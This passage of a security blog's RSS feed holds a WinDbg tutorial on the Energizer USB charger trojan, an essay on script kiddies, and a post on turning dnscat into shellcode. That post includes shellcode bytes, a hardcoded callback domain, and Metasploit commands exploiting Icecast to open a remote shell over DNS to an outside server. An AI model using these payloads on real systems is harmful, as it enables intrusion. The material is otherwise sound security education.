<p>This tutorial was getting far too long for a single page, so I broke it into four sections:</p>
<ul>
<li><a href='/blog/?p=627'>Part 1: setup</a></li>
<li><strong><a href='/blog/?p=645'>Part 2: runtime analysis</a> (windbg)</strong></li>
<li><a href='/blog/?p=647'>Part 3: disassembling</a> (ida)</li>
<li><a href='/blog/?p=649'>Part 4: generating probes</a> (nmap)</li>
</ul>
<h2>Runtime Analysis</h2>
<p>Run "windbg"; then, under the "File" menu, choose "Attach to a Process" (or press F6):<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-05-attach.png'></p>
<p>Navigate the list and find "rundll32.exe":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-06-rundll32.png'></p>
<p>If you aren't sure if it's the right one, expand it with the "+" and validate that it's running "Arucer.dll":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-07-arucer.dll.png'></p>
<p>Once you hit "OK", the debugger will attach to the Trojan process and suspend it, waiting for your actions. It'll look something like this:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-08-windbg.png'></p>
<p>All we want to do is add a breakpoint on the "recv" function. "recv" is a function in Winsock that reads data from the network. Since this Trojan is listening on a port, it'll likely try to receive data from anything that connects to it. In the command window of Windbg, type "bp recv":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-09-bp_recv.png'></p>
<p>To validate that the breakpoint was successfully created, you can run the "bl" command ("breakpoint list"), which will print all breakpoints that have been set on this process:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-10-bl.png'></p>
<p>Now that we've set a breakpoint on recv() and verified that it exists, resume the Trojan process by clicking the "Resume" button (or press F5, or type "g&lt;enter&gt;"):<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-11-g.png'></p>
<p>You'll note that nothing happens right away. And unless something tries to connect to the host on port 7777, nothing is going to happen. The reason is that the Trojan is sitting on the accept() call, waiting for a connection. Obviously, if we want to trigger the recv() call, we have to connect to it. So, open up a new command prompt ("cmd.exe") and telnet to localhost port 7777:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-12-telnet.png'></p>
<p>As soon as you do that, the accept() call finishes and the Trojan attempts to receive some data, hitting our breakpoint:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-13-break.png'></p>
<p>The process is once again suspended and waiting for us to do something.  You can have some fun at this point and poke around, but first run the "k" command, which is short for "call stack" -- it'll tell us who called recv(), who called that function, and so on:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-14-stack.png'></p>
<p>Make note of the two addresses here -- 0x100011aa and 0x10001624 -- we'll be using those later. 0x100011aa is the place where recv() was called, and 0x10001624 is the place where that function was called.</p>
<p>That brings us to the end of the runtime analysis. We now know the call path that leads up to the recv(), and can work our way backwards to find out what kind of data it wants to receive.</p>
<p>At this point, feel free to play around in the debugger and see what you can learn. The first thing I usually do is tell the recv() function to return using Debug-&gt;Step Out and look at how it processes the data -- make sure you type something in the console for it to receive first.</p>
<p>When you're all done, restart the process so we can test later:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-54-restart.png'></p>
<p>Then run it:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-55-go.png'></p>
<p>In the next section, <a href='/blog/?p=647'>Part 3: disassembling</a>, we'll look at the code that makes the Trojan tick. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=645</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taking apart the Energizer trojan - Part 1: setup</title>
		<link>http://www.skullsecurity.org/blog/?p=627</link>
		<comments>http://www.skullsecurity.org/blog/?p=627#comments</comments>
		<pubDate>Thu, 25 Mar 2010 14:13:24 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=627</guid>
		<description><![CDATA[Hey all,
As most of you know, a Trojan was recently discovered in the software for Energizer's USB battery charger. Following its release, I wrote an Nmap probe to detect the Trojan and HDMoore wrote a Metasploit module to exploit it.
I mentioned in my last post that it was a nice sample to study and learn [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>As most of you know, a Trojan was <a href='http://www.theregister.co.uk/2010/03/08/energizer_trojan/'>recently discovered</a> in the software for Energizer's USB battery charger. Following its release, I wrote an <a href='http://www.skullsecurity.org/blog/?p=563'>Nmap probe</a> to detect the Trojan and HDMoore wrote a <a href='http://blog.metasploit.com/2010/03/locate-and-exploit-energizer-trojan.html'>Metasploit module</a> to exploit it.</p>
<p>I mentioned in my last post that it was a nice sample to study and learn from. The author made absolutely no attempt to conceal its purpose, once installed, besides a weak XOR encoding for communication. Some conspiracy theorists even think this may have been legitimate management software gone wrong -- and who knows, really? In any case, I offered to write a tutorial on how I wrote the Nmap probe, and had a lot of positive feedback, so here it is!</p>
<p>Just be sure to take this for what it is. This is *not* intended to show any new methods or techniques or anything like that. It's a reverse engineering guide targeted, as much as I could, for people who've never opened IDA or Windbg in their lives. I'd love to hear your comments!</p>
<h2>Sections</h2>
<p>This tutorial was getting far too long for a single page, so I broke it into four sections:</p>
<ul>
<li><strong><a href='/blog/?p=627'>Part 1: setup</a></strong></li>
<li><a href='/blog/?p=645'>Part 2: runtime analysis</a> (windbg)</li>
<li><a href='/blog/?p=647'>Part 3: disassembling</a> (ida)</li>
<li><a href='/blog/?p=649'>Part 4: generating probes</a> (nmap)</li>
</ul>
<h2>Step 0: You will need...</h2>
<p>To follow along, you'll need the following (all free, except for Windows itself):</p>
<ul>
<li>A disposable Windows computer to infect (probably on VMWare)</li>
<li><a href='http://www.microsoft.com/whdc/devtools/debugging/installx86.Mspx'>Debugging Tools for Windows</a> (I used 6.11.1.404)</li>
<li><a href='http://www.hex-rays.com/idapro/idadownfreeware.htm'>IDA (free)</a></li>
<li><a href='http://nmap.org'>Nmap</a></li>
<li>A basic understanding of C and x86 assembly would be an asset. &lt;shamelessplug&gt;Check out the <a href='http://www.skullsecurity.org/wiki/index.php/Assembly'>reverse engineering guide I wrote</a>&lt;/shamelessplug&gt;</li>
<li>A basic understanding of the Linux commandline (gcc, pipes, etc)</li>
</ul>
<h2>Infect a test machine</h2>
<p>The goal of this step is, obviously, to infect a test system with the Energizer Trojan.</p>
<p>Strictly speaking, this isn't necessary. You can do a fine job understanding this sample without actually infecting yourself. That being said, this Trojan appears to be fairly safe, as far as malware goes, so it's a good one to play with. I <em>strongly recommend against</em> installing this on anything other than a throwaway computer (I used VMWare). Do <strong>not</strong> install this on anything real. Ever. Seriously!</p>
<p>If you're good and sure this is what you really want to do, grab the file <a href='http://downloads.skullsecurity.org/MALWARE/EnergizerTrojan-MALWARE.zip'>here</a>:</p>
<p><img src='http://www.skullsecurity.org/blogdata/usbcharger-01-download.png'></p>
<p>Then extract the installation file, <strong>UsbCharger_setup_v1_1_1.exe</strong> (<strong>arucer.dll</strong> isn't necessary yet). The password for the zip archive is "infected", and by typing it in you promise to understand the risks of dealing with malware:<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-02-infected.png'></p>
<p>Naturally, make sure you turn off antivirus software before extracting it. In fact you shouldn't even be running antivirus because your system shouldn't even be connected to the network!</p>
<p>Perform a typical install (ie, hit 'next' till it stops asking you questions). Once you've finished the installation, verify that the backdoor is listening on port 7777 by running "cmd.exe" and running "netstat -an":<br />
<img src='http://www.skullsecurity.org/blogdata/usbcharger-04-netstat.png'></p>
<p>Congratulations! Your system is now backdoored. To continue reading, go to <a href='/blog/?p=645'>Part 2: runtime analysis</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=627</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Are you a &quot;Real&quot; hacker or just a skiddie?</title>
		<link>http://www.skullsecurity.org/blog/?p=582</link>
		<comments>http://www.skullsecurity.org/blog/?p=582#comments</comments>
		<pubDate>Tue, 23 Mar 2010 15:24:46 +0000</pubDate>
		<dc:creator>Matt Gardenghi</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hackers]]></category>
		<category><![CDATA[Matt Gardenghi]]></category>
		<category><![CDATA[script kiddies]]></category>
		<category><![CDATA[Skiddies]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=582</guid>
		<description><![CDATA[This is yet another guest post from our good friend Matt Gardenghi! If you enjoy this one, don't forget to check his last one: Trusting the Browser (a ckeditor short story).
------------------
Often, I hear arguments that go like this: real hackers write code and exploits; everyone else is a script-kiddie.
That is a dumb argument from all [...]]]></description>
			<content:encoded><![CDATA[<p>This is yet another guest post from our good friend <a href='http://twitter.com/matt_gardenghi'>Matt Gardenghi</a>! If you enjoy this one, don't forget to check his last one: <a href='/blog/?p=560'>Trusting the Browser (a ckeditor short story)</a>.<br />
------------------<br />
Often, I hear arguments that go like this: real hackers write code and exploits; everyone else is a script-kiddie.</p>
<p>That is a dumb argument from all sorts of levels.  For starters, those who make this observation are usually those who can write code.  Therefore, everyone who can't meet their personal standards/abilities as a coder are "skiddies" who demean the profession.</p>
<p>I find it intriguing that everyone defines the basis for a good pentester by their own capabilities.  Clearly you think that you are good and it's normal to think that everyone will want to be good just like you.  Consequently, they should all do as you do, right?  Wrong.  We need diversity of backgrounds, skills, and opinions.  It's healthy not to inbreed (intellectually or otherwise).</p>
<p>Arrogance is the assumption that I set the standard.  So, let's not be arrogant.  None of us are so good that we objectively define the standard for all other pentesters.</p>
<p>We are all in a process of growing and developing.  We all started as "skiddies" and we all progressed from there.  Instead of drawing people onward in the profession, to many practitioners discourage those coming behind.  The "experienced" testers set the bar equal to their own skills and years of experience or to their skill set when they walked into their first pentesting job.  (Doubt me?  Go look at forums where someone asks what skills are necessary to be a pentester.  Every single answer is different and is based on the author's personal skill set and experiences.)  I may not have a tool in my toolkit that you have.  That doesn't mean I can't get the job done, I just might have to think differently and creatively to solve it in another way.</p>
<p>I took GWAPT from Kevin Johnson and Seth Misenar.  Anyone care to call them skiddies?  They both walked into the field from other professions and lacked the ability to read much code or write much code.  They still don't consider themselves coders; they say that they hack code.  And yet they developed into experienced and qualified testers.  So why would you tell newcomers that they need a CS degree and the ability to read/write shellcode or else they aren't capable of being "good?"  You could be pushing away the next best security guy by telling him that he's not qualified to start.</p>
<p>We don't want everyone to be an expert in the same field.  That leads to a lopsided inbred situation.  Since no one person can be an expert in every field, we need people who specialize in shellcode and exploit writing.  We need others who are experts in working through website security including the process of abusing assumptions.  We need some who have the skillsets to combine and apply the multitude of tools created by others in new and creative ways.  We need to interact and support each other and recognize that we actually need each other and the diverse talents that others bring.</p>
<p>I do think that all users should seek to understand what's going on in an exploit.  No one should fire off an exploit until they know A) it's not backdoored and B) whether it will hurt anything if it goes off badly.</p>
<p>As to those who wear their exploit writing skills on their sleeve?  Go for it.  It gives you a competitive advantage and you earned that.  Just recognize that you aren't the standard for the industry.  Other guys can often do the job competently and may meet the specific needs of the clients more effectively.  There is nothing wrong with that.  (For the record, I don't support people who call VA scans pentests.  That's a different issue.)</p>
<p>I just think that we as an industry, need to recognize that people with differing skill-sets might be better suited to a particular job than we are.  That and everyone has to start somewhere.  So please, how about we stop defining skiddies as anyone missing a piece of our personal toolkit?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=582</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Weaponizing dnscat with shellcode and Metasploit</title>
		<link>http://www.skullsecurity.org/blog/?p=611</link>
		<comments>http://www.skullsecurity.org/blog/?p=611#comments</comments>
		<pubDate>Thu, 18 Mar 2010 13:50:52 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=611</guid>
		<description><![CDATA[Hey all,
I've been letting other projects slip these last couple weeks because I was excited about converting dnscat into shellcode (or "weaponizing dnscat", as I enjoy saying). Even though I got into the security field with reverse engineering and writing hacks for games, I have never written more than a couple lines of x86 at [...]]]></description>
			<content:encoded><![CDATA[<p>Hey all,</p>
<p>I've been letting other projects slip these last couple weeks because I was excited about converting dnscat into shellcode (or "weaponizing dnscat", as I enjoy saying). Even though I got into the security field with reverse engineering and writing hacks for games, I have never written more than a couple lines of x86 at a time, nor have I ever written shellcode, so this was an awesome learning experience. Most people start by writing shellcode that spawns a local shell; I decided to start with shellcode that implements a dnscat client in under 1024 bytes (for both Linux and Windows). Like I always say, go big or go home!<br />
<span id="more-611"></span><br />
If you just want to grab the files, here are some links:</p>
<ul>
<li><a href='/blogdata/dnscat-shell-win32.asm'>Win32 shellcode - assembler</a></li>
<li><a href='/blogdata/dnscat-shell-win32'>Win32 shellcode - binary</a></li>
<li><a href='/blogdata/dnscat-shell-win32.h'>Win32 shellcode - C array</a></li>
<li><a href='/blogdata/dnscat-shell-win32.rb'>Win32 Metasploit module</a></li>
<li><a href='/blogdata/dnscat-shell-linux.asm'>Linux shellcode - assembler</a></li>
<li><a href='/blogdata/dnscat-shell-linux'>Linux shellcode - binary</a></li>
<li><a href='/blogdata/dnscat-shell-linux.h'>Linux shellcode - C array</a></li>
</ul>
<p>If you want to get your hands dirty, you can compile the source -- right now, it's only in svn:</p>
<pre>svn co http://svn.skullsecurity.org:81/ron/security/nbtool
cd nbtool
make</pre>
<p>That'll compile both the standard dnscat client/server and, if you have nasm installed, the Linux and Windows shellcodes. On Windows, you'll need nasm to assemble it. I installed Cygwin, but you can compile the Windows shellcode on Linux or vice versa if you prefer. The output will be in samples/shellcode-*/. A .h file containing the C version will be generated, as well:</p>
<pre>$ head -n3 dnscat-shell-test.h
char shellcode[] =
        "\xe9\xa2\x01\x00\x00\x5d\x81\xec\x00\x04\x00\x00\xe8\x4e\x03\x00"
        "\x00\x31\xdb\x80\xc3\x09\x89\xef\xe8\x2e\x03\x00\x00\x80\xc3\x06"
...
</pre>
<p>And, of course, the raw file is output (without an extension), that can be run through msfencode or embedded into a script:</p>
<pre> $ make
[...]
$ wc -c samples/shellcode-win32/dnscat-shell-win32
997 samples/shellcode-win32/dnscat-shell-win32
$ wc -c samples/shellcode-linux/dnscat-shell-linux
988 samples/shellcode-linux/dnscat-shell-linux
</pre>
<p>Unless you want to be sending your cmd.exe (or sh) shell to skullseclabs.org, you'll have to modify the domain as well -- the very last line in the assembly code for both Windows and Linux is this:</p>
<pre>get_domain:
 call get_domain_top
 db 1, 'a' ; random
 db 12,'skullseclabs' ; <-- To modify domain, change this...
 db 3,'org' ; <-- and this. The number is the section length.
 db 0
</pre>
<p>The two lines with the domain have to be changed. The number preceding the name is, as the comment says, the length of the section ('skullseclabs' is 12 bytes, and 'org' is 3 bytes). This process is automated with the Metasploit payload, as you'll see. </p>
<h2>Encoding with msfencode</h2>
<p>msfencode from the Metasploit project is a beautiful utility. I highly recommend running shellcode through it before using it. The most useful aspect with shellcode is, at least to me, the ability to eliminate characters. So, if I need to get rid of \x00 (null) characters from my strings, it's as easy as:</p>
<pre>$ msfencode -b "\x00" < dnscat-shell-win32 > dnscat-shell-win32-encoded
[*] x86/shikata_ga_nai succeeded with size 1024 (iteration=1)
</pre>
<p>If you're planning on using this in, for example, Metasploit, you don't have to worry about the msfencode step -- it'll do that for you. </p>
<h2>Metasploit payload</h2>
<p>Speaking of metasploit, yes! I wrote a metasploit payload for dnscat. </p>
<p>First, there are a number of caveats:</p>
<ul>
<li>This is highly experimental</li>
<li>This doesn't have a proper "exitfunc" call -- it just returns and probably crashes the process</li>
<li>This is set up as a single stage, right now, and is 1000 or so bytes -- as a result, it won't work against most vulnerabilities</li>
<li>The dnscat server isn't part of Metasploit, yet, so you'll have to compile run it separately</li>
</ul>
<p>That being said, it also works great when it's usable. The target I use for testing is <a href='http://downloads.xiph.org/releases/icecast/icecast2_win32_2.0.0_setup.exe'>Icecast 2 version 2.0.0</a> (WARNING: don't install vulnerable software on anything important!), which is included on the SANS 560 and 504 CDs (thanks Ed!). It's free, GPL, reliable, and has 2000 bytes in which to stuff the payload.</p>
<p>So, the steps you need to take are, </p>
<ol>
<li>Install <a href='http://downloads.xiph.org/releases/icecast/icecast2_win32_2.0.0_setup.exe'>Icecast2</a> on your victim machine (Win32)</li>
<li>Download the experimental dnscat <a href='/blogdata/dnscat-shell-win32.rb'>Metasploit module</a> and put it in your Metasploit directory (modules/payloads/singles/windows/)</li>
<li>Fire up a dnscat server on your authoritative DNS server (<tt>dnscat --listen</tt>) -- see the <a href='/wiki/index.php/Dnscat'>dnscat wiki</a> for more information</li>
<li>Run Metasploit (<tt>msfconsole</tt>) and enter the following commands:</li>
<pre>msf > use exploit/windows/http/icecast_header

msf exploit(icecast_header) > set PAYLOAD windows/dnscat-shell-win32
PAYLOAD => windows/dnscat-shell-win32

msf exploit(icecast_header) > set RHOST 192.168.1.221
RHOST => 192.168.1.221

msf exploit(icecast_header) > set DOMAIN skullseclabs.org
DOMAIN => skullseclabs.org

msf exploit(icecast_header) > exploit
[*] Exploit completed, but no session was created.
</pre>
<p>Meanwhile, on your dnscat server, if all went well, you should see:</p>
<pre>$ sudo ./dnscat --listen
Waiting for DNS requests for domain '*' on 0.0.0.0:53...
Switching stream -> datagram
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Program Files\Icecast2 Win32>
</pre>
<p>You can type commands in, and they'll run just like a normal shell. Be warned, though, that it is somewhat slow, due to the nature of going through DNS. </p>
<h2>Why bother?</h2>
<p>The big advantage to this over traditional shellcode is that no port, whether inbound or outbound, is required! As long as the server has a DNS server set that will perform recursive lookups, it'll work great!</p>
<h2>Feedback</h2>
<p>As I said, this is the first time I've ever written shellcode or x86. I'm sure there are lots of places where it could be significantly improved, and I'd love to hear feedback from the folks who really know what they're doing and can help me improve my code. </p>
<p>Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/?feed=rss2&amp;p=611</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>
